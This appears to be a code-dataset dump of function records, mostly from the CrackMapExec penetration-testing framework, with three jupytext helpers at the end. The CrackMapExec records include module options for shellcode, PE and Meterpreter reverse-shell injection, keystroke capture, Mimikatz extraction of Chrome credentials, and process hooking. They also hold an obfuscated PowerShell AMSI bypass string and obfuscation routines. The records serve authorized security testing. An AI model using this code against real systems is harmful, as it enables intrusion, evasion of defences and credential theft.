https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L69-L90
[ "def", "get_credentials", "(", "self", ",", "filterTerm", "=", "None", ")", ":", "cur", "=", "self", ".", "conn", ".", "cursor", "(", ")", "# if we're returning a single credential by ID", "if", "self", ".", "is_credential_valid", "(", "filterTerm", ")", ":", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
cme/modules/invoke_sessiongopher.py
def options(self, context, module_options): ''' THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) ''' self.t...
def options(self, context, module_options): ''' THOROUGH Searches entire filesystem for certain file extensions (default: False) ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) ''' self.t...
[ "THOROUGH", "Searches", "entire", "filesystem", "for", "certain", "file", "extensions", "(", "default", ":", "False", ")", "ALLDOMAIN", "Queries", "Active", "Direcotry", "for", "a", "list", "of", "all", "domain", "-", "joined", "computers", "and", "runs", "Ses...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/invoke_sessiongopher.py#L21-L36
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "thorough", "=", "False", "self", ".", "all_domain", "=", "False", "if", "'THOROUGH'", "in", "module_options", ":", "self", ".", "thorough", "=", "bool", "(", "m...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
cme/modules/get_netrdpsession.py
def options(self, context, module_options): ''' INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) ''' self.exec_methods = ['smbexec', 'atexec'] self.inject = True ...
def options(self, context, module_options): ''' INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) ''' self.exec_methods = ['smbexec', 'atexec'] self.inject = True ...
[ "INJECT", "If", "set", "to", "true", "this", "allows", "PowerView", "to", "work", "over", "stealthier", "execution", "methods", "which", "have", "non", "-", "interactive", "contexts", "(", "e", ".", "g", ".", "WMI", ")", "(", "default", ":", "True", ")" ...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/get_netrdpsession.py#L14-L26
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "exec_methods", "=", "[", "'smbexec'", ",", "'atexec'", "]", "self", ".", "inject", "=", "True", "if", "'INJECT'", "in", "module_options", ":", "self", ".", "inj...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be written on target (defaults to C:\) NEO4JURI (opt...
cme/modules/bloodhound.py
def options(self, context, module_options): ''' THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be writ...
def options(self, context, module_options): ''' THREADS Max numbers of threads to execute on target (defaults to 20) COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') CSVPATH (optional) Path where csv files will be writ...
[ "THREADS", "Max", "numbers", "of", "threads", "to", "execute", "on", "target", "(", "defaults", "to", "20", ")", "COLLECTIONMETHOD", "Method", "used", "by", "BloodHound", "ingestor", "to", "collect", "data", "(", "defaults", "to", "Default", ")", "CSVPATH", ...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/bloodhound.py#L23-L58
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "threads", "=", "3", "self", ".", "csv_path", "=", "'C:\\\\'", "self", ".", "collection_method", "=", "'Default'", "self", ".", "neo4j_URI", "=", "\"\"", "self", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.parse_ouput
Parse the output from Invoke-BloodHound
cme/modules/bloodhound.py
def parse_ouput(self, data, context, response): ''' Parse the output from Invoke-BloodHound ''' parsedData = data.split("!-!") nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] for x in range(0, len(parsedData)): ...
def parse_ouput(self, data, context, response): ''' Parse the output from Invoke-BloodHound ''' parsedData = data.split("!-!") nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] for x in range(0, len(parsedData)): ...
[ "Parse", "the", "output", "from", "Invoke", "-", "BloodHound" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/bloodhound.py#L89-L116
[ "def", "parse_ouput", "(", "self", ",", "data", ",", "context", ",", "response", ")", ":", "parsedData", "=", "data", ".", "split", "(", "\"!-!\"", ")", "nameList", "=", "[", "'user_sessions'", ",", "'group_membership.csv'", ",", "'acls.csv'", ",", "'local_a...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
ACTION Enable/Disable RDP (choices: enable, disable)
cme/modules/rdp.py
def options(self, context, module_options): ''' ACTION Enable/Disable RDP (choices: enable, disable) ''' if not 'ACTION' in module_options: context.log.error('ACTION option not specified!') exit(1) if module_options['ACTION'].lower() not in ['enable...
def options(self, context, module_options): ''' ACTION Enable/Disable RDP (choices: enable, disable) ''' if not 'ACTION' in module_options: context.log.error('ACTION option not specified!') exit(1) if module_options['ACTION'].lower() not in ['enable...
[ "ACTION", "Enable", "/", "Disable", "RDP", "(", "choices", ":", "enable", "disable", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/rdp.py#L14-L27
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'ACTION'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'ACTION option not specified!'", ")", "exit", "(", "1", ")", "if", "module_option...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
LISTENER Listener name to generate the launcher for
cme/modules/empire_exec.py
def options(self, context, module_options): ''' LISTENER Listener name to generate the launcher for ''' if not 'LISTENER' in module_options: context.log.error('LISTENER option is required!') sys.exit(1) self.empire_launcher = None headers...
def options(self, context, module_options): ''' LISTENER Listener name to generate the launcher for ''' if not 'LISTENER' in module_options: context.log.error('LISTENER option is required!') sys.exit(1) self.empire_launcher = None headers...
[ "LISTENER", "Listener", "name", "to", "generate", "the", "launcher", "for" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/empire_exec.py#L21-L62
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'LISTENER'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'LISTENER option is required!'", ")", "sys", ".", "exit", "(", "1", ")", "sel...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
cme/modules/pe_inject.py
def options(self, context, module_options): ''' PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) ''' if not 'PATH...
def options(self, context, module_options): ''' PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) ''' if not 'PATH...
[ "PATH", "Path", "to", "dll", "/", "exe", "to", "inject", "PROCID", "Process", "ID", "to", "inject", "into", "(", "default", ":", "current", "powershell", "process", ")", "EXEARGS", "Arguments", "to", "pass", "to", "the", "executable", "being", "reflectively"...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/pe_inject.py#L16-L41
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'PATH'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'PATH option is required!'", ")", "exit", "(", "1", ")", "self", ".", "payload_pa...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None)
cme/modules/tokens.py
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None ...
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None ...
[ "USER", "Search", "for", "the", "specified", "username", "in", "available", "tokens", "(", "default", ":", "None", ")", "USERFILE", "File", "containing", "usernames", "to", "search", "for", "in", "available", "tokens", "(", "defult", ":", "None", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/tokens.py#L19-L44
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "user", "=", "None", "self", ".", "userfile", "=", "None", "if", "'USER'", "in", "module_options", "and", "'USERFILE'", "in", "module_options", ":", "context", "."...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process)
cme/modules/shellcode_inject.py
def options(self, context, module_options): ''' PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process) ''' if not 'PATH' in module_options: context.log.error('PATH option is requir...
def options(self, context, module_options): ''' PATH Path to the file containing raw shellcode to inject PROCID Process ID to inject into (default: current powershell process) ''' if not 'PATH' in module_options: context.log.error('PATH option is requir...
[ "PATH", "Path", "to", "the", "file", "containing", "raw", "shellcode", "to", "inject", "PROCID", "Process", "ID", "to", "inject", "into", "(", "default", ":", "current", "powershell", "process", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/shellcode_inject.py#L16-L36
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "not", "'PATH'", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'PATH option is required!'", ")", "exit", "(", "1", ")", "self", ".", "shellcode_...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
SCRIPT Script version to execute (choices: bash, python) (default: bash)
cme/modules/mimipenguin.py
def options(self, context, module_options): ''' SCRIPT Script version to execute (choices: bash, python) (default: bash) ''' scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), 'BASH' : get_script('mimipenguin/mimipenguin.sh')} self.script_choice =...
def options(self, context, module_options): ''' SCRIPT Script version to execute (choices: bash, python) (default: bash) ''' scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'), 'BASH' : get_script('mimipenguin/mimipenguin.sh')} self.script_choice =...
[ "SCRIPT", "Script", "version", "to", "execute", "(", "choices", ":", "bash", "python", ")", "(", "default", ":", "bash", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimipenguin.py#L16-L30
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "scripts", "=", "{", "'PYTHON'", ":", "get_script", "(", "'mimipenguin/mimipenguin.py'", ")", ",", "'BASH'", ":", "get_script", "(", "'mimipenguin/mimipenguin.sh'", ")", "}", "self",...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.on_admin_login
Oook.. Think my heads going to explode So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary....
cme/modules/mimikatz_enum_chrome.py
def on_admin_login(self, context, connection): ''' Oook.. Think my heads going to explode So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. Problem is Invoke-Mimikatz interpretes double qoutes ...
def on_admin_login(self, context, connection): ''' Oook.. Think my heads going to explode So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces. Problem is Invoke-Mimikatz interpretes double qoutes ...
[ "Oook", "..", "Think", "my", "heads", "going", "to", "explode" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz_enum_chrome.py#L28-L71
[ "def", "on_admin_login", "(", "self", ",", "context", ",", "connection", ")", ":", "payload", "=", "'''\n $cmd = \"privilege::debug sekurlsa::dpapi\"\n $userdirs = get-childitem \"$Env:SystemDrive\\Users\"\n foreach ($dir in $userdirs) {{\n $LoginDataPath = \"...
333f1c4e06884e85b2776459963ef85d182aba8e
train
SMBSpider._spider
Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot.
cme/protocols/smb/smbspider.py
def _spider(self, subfolder, depth): ''' Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot. ''' # The following is some funky shit that ...
def _spider(self, subfolder, depth): ''' Abondon all hope ye who enter here. You're now probably wondering if I was drunk and/or high when writing this. Getting this to work took a toll on my sanity. So yes. a lot. ''' # The following is some funky shit that ...
[ "Abondon", "all", "hope", "ye", "who", "enter", "here", ".", "You", "re", "now", "probably", "wondering", "if", "I", "was", "drunk", "and", "/", "or", "high", "when", "writing", "this", ".", "Getting", "this", "to", "work", "took", "a", "toll", "on", ...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/smbspider.py#L59-L96
[ "def", "_spider", "(", "self", ",", "subfolder", ",", "depth", ")", ":", "# The following is some funky shit that deals with the way impacket treats file paths", "if", "subfolder", "in", "[", "''", ",", "'.'", "]", ":", "subfolder", "=", "'*'", "elif", "subfolder", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
which
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This func...
cme/helpers/misc.py
def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be ove...
def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be ove...
[ "Given", "a", "command", "mode", "and", "a", "PATH", "string", "return", "the", "path", "which", "conforms", "to", "the", "given", "mode", "on", "the", "PATH", "or", "None", "if", "there", "is", "no", "such", "file", ".", "mode", "defaults", "to", "os"...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/misc.py#L44-L85
[ "def", "which", "(", "cmd", ",", "mode", "=", "os", ".", "F_OK", "|", "os", ".", "X_OK", ",", "path", "=", "None", ")", ":", "# Check that a given file can be accessed with the correct mode.", "# Additionally check that `file` is not a directory, as on Windows", "# direct...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
cme/modules/enum_dns.py
def options(self, context, module_options): ''' DOMAIN Domain to enumerate DNS for. Defaults to all zones. ''' self.domains = None if module_options and 'DOMAIN' in module_options: self.domains = module_options['DOMAIN']
def options(self, context, module_options): ''' DOMAIN Domain to enumerate DNS for. Defaults to all zones. ''' self.domains = None if module_options and 'DOMAIN' in module_options: self.domains = module_options['DOMAIN']
[ "DOMAIN", "Domain", "to", "enumerate", "DNS", "for", ".", "Defaults", "to", "all", "zones", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/enum_dns.py#L16-L22
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "domains", "=", "None", "if", "module_options", "and", "'DOMAIN'", "in", "module_options", ":", "self", ".", "domains", "=", "module_options", "[", "'DOMAIN'", "]" ]
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process)
cme/modules/met_inject.py
def options(self, context, module_options): ''' LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process) ...
def options(self, context, module_options): ''' LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process) ...
[ "LHOST", "IP", "hosting", "the", "handler", "LPORT", "Handler", "port", "PAYLOAD", "Payload", "to", "inject", ":", "reverse_http", "or", "reverse_https", "(", "default", ":", "reverse_https", ")", "PROCID", "Process", "ID", "to", "inject", "into", "(", "defaul...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/met_inject.py#L15-L39
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "met_payload", "=", "'reverse_https'", "self", ".", "procid", "=", "None", "if", "not", "'LHOST'", "in", "module_options", "or", "not", "'LPORT'", "in", "module_opti...
333f1c4e06884e85b2776459963ef85d182aba8e
train
create_ps_command
if is_powershell_installed(): temp = tempfile.NamedTemporaryFile(prefix='cme_', suffix='.ps1', dir='/tmp') temp.write(command) temp.read() encoding_types = [1,2,3,4,5,6] while True: ...
cme/helpers/powershell.py
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
[ "if", "is_powershell_installed", "()", ":" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L70-L154
[ "def", "create_ps_command", "(", "ps_command", ",", "force_ps32", "=", "False", ",", "dont_obfs", "=", "False", ")", ":", "amsi_bypass", "=", "\"\"\"[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\ntry{\n[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'o...
333f1c4e06884e85b2776459963ef85d182aba8e
train
invoke_obfuscation
# Array to store all selected PowerShell execution flags. powerShellFlags = [] noProfile = '-nop' nonInteractive = '-noni' windowStyle = '-w' # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. # This is to prevent Blue Team from p...
cme/helpers/powershell.py
def invoke_obfuscation(scriptString): # Add letters a-z with random case to $RandomDelimiters. alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random dxelimiters called randomDelimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ...
def invoke_obfuscation(scriptString): # Add letters a-z with random case to $RandomDelimiters. alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random dxelimiters called randomDelimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ...
[ "#", "Array", "to", "store", "all", "selected", "PowerShell", "execution", "flags", ".", "powerShellFlags", "=", "[]" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L242-L392
[ "def", "invoke_obfuscation", "(", "scriptString", ")", ":", "# Add letters a-z with random case to $RandomDelimiters.", "alphabet", "=", "''", ".", "join", "(", "choice", "(", "[", "i", ".", "upper", "(", ")", ",", "i", "]", ")", "for", "i", "in", "ascii_lower...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False)
cme/modules/scuffy.py
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options['CLEAN...
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options['CLEAN...
[ "SERVER", "IP", "of", "the", "SMB", "server", "NAME", "SCF", "file", "name", "CLEANUP", "Cleanup", "(", "choices", ":", "True", "or", "False", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/scuffy.py#L19-L49
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "cleanup", "=", "False", "if", "'CLEANUP'", "in", "module_options", ":", "self", ".", "cleanup", "=", "bool", "(", "module_options", "[", "'CLEANUP'", "]", ")", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
RequestHandler.stop_tracking_host
This gets called when a module has finshed executing, removes the host from the connection tracker list
cme/servers/http.py
def stop_tracking_host(self): ''' This gets called when a module has finshed executing, removes the host from the connection tracker list ''' try: self.server.hosts.remove(self.client_address[0]) if hasattr(self.server.module, 'on_shutdown'): s...
def stop_tracking_host(self): ''' This gets called when a module has finshed executing, removes the host from the connection tracker list ''' try: self.server.hosts.remove(self.client_address[0]) if hasattr(self.server.module, 'on_shutdown'): s...
[ "This", "gets", "called", "when", "a", "module", "has", "finshed", "executing", "removes", "the", "host", "from", "the", "connection", "tracker", "list" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/servers/http.py#L30-L39
[ "def", "stop_tracking_host", "(", "self", ")", ":", "try", ":", "self", ".", "server", ".", "hosts", ".", "remove", "(", "self", ".", "client_address", "[", "0", "]", ")", "if", "hasattr", "(", "self", ".", "server", ".", "module", ",", "'on_shutdown'"...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
cme/modules/netripper.py
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_...
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_...
[ "PROCESS", "Process", "to", "hook", "only", "x86", "processes", "are", "supported", "by", "NetRipper", "currently", "(", "Choices", ":", "firefox", "chrome", "putty", "winscp", "outlook", "lync", ")" ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/netripper.py#L21-L42
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "process", "=", "None", "if", "'PROCESS'", "in", "module_options", ":", "self", ".", "process", "=", "module_options", "[", "'PROCESS'", "]", "else", ":", "context...
333f1c4e06884e85b2776459963ef85d182aba8e
train
CMEModule.options
TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20)
cme/modules/get_keystrokes.py
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' ...
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' ...
[ "TIMEOUT", "Specifies", "the", "interval", "in", "minutes", "to", "capture", "keystrokes", ".", "STREAM", "Specifies", "whether", "to", "stream", "the", "keys", "over", "the", "network", "(", "default", ":", "False", ")", "POLL", "Specifies", "the", "interval"...
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/get_keystrokes.py#L20-L51
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "'TIMEOUT'", "not", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'TIMEOUT option is required!'", ")", "exit", "(", "1", ")", "self", ".", "stre...
333f1c4e06884e85b2776459963ef85d182aba8e
train
navigator.complete_hosts
Tab-complete 'creds' commands.
cme/protocols/smb/db_navigator.py
def complete_hosts(self, text, line, begidx, endidx): "Tab-complete 'creds' commands." commands = ["add", "remove", "dc"] mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)]
def complete_hosts(self, text, line, begidx, endidx): "Tab-complete 'creds' commands." commands = ["add", "remove", "dc"] mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)]
[ "Tab", "-", "complete", "creds", "commands", "." ]
byt3bl33d3r/CrackMapExec
python
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/db_navigator.py#L255-L262
[ "def", "complete_hosts", "(", "self", ",", "text", ",", "line", ",", "begidx", ",", "endidx", ")", ":", "commands", "=", "[", "\"add\"", ",", "\"remove\"", ",", "\"dc\"", "]", "mline", "=", "line", ".", "partition", "(", "' '", ")", "[", "2", "]", ...
333f1c4e06884e85b2776459963ef85d182aba8e
train
is_magic
Is the current line a (possibly escaped) Jupyter magic, and should it be commented?
jupytext/magics.py
def is_magic(line, language, global_escape_flag=True): """Is the current line a (possibly escaped) Jupyter magic, and should it be commented?""" if language in ['octave', 'matlab']: return False if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line): return True ...
def is_magic(line, language, global_escape_flag=True): """Is the current line a (possibly escaped) Jupyter magic, and should it be commented?""" if language in ['octave', 'matlab']: return False if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line): return True ...
[ "Is", "the", "current", "line", "a", "(", "possibly", "escaped", ")", "Jupyter", "magic", "and", "should", "it", "be", "commented?" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L29-L43
[ "def", "is_magic", "(", "line", ",", "language", ",", "global_escape_flag", "=", "True", ")", ":", "if", "language", "in", "[", "'octave'", ",", "'matlab'", "]", ":", "return", "False", "if", "_MAGIC_FORCE_ESC_RE", ".", "get", "(", "language", ",", "_MAGIC...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
comment_magic
Escape Jupyter magics with '#
jupytext/magics.py
def comment_magic(source, language='python', global_escape_flag=True): """Escape Jupyter magics with '# '""" parser = StringParser(language) next_is_magic = False for pos, line in enumerate(source): if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)): ...
def comment_magic(source, language='python', global_escape_flag=True): """Escape Jupyter magics with '# '""" parser = StringParser(language) next_is_magic = False for pos, line in enumerate(source): if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)): ...
[ "Escape", "Jupyter", "magics", "with", "#" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L46-L55
[ "def", "comment_magic", "(", "source", ",", "language", "=", "'python'", ",", "global_escape_flag", "=", "True", ")", ":", "parser", "=", "StringParser", "(", "language", ")", "next_is_magic", "=", "False", "for", "pos", ",", "line", "in", "enumerate", "(", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
unesc
Uncomment once a commented line
jupytext/magics.py
def unesc(line, language): """Uncomment once a commented line""" comment = _COMMENT[language] if line.startswith(comment + ' '): return line[len(comment) + 1:] if line.startswith(comment): return line[len(comment):] return line
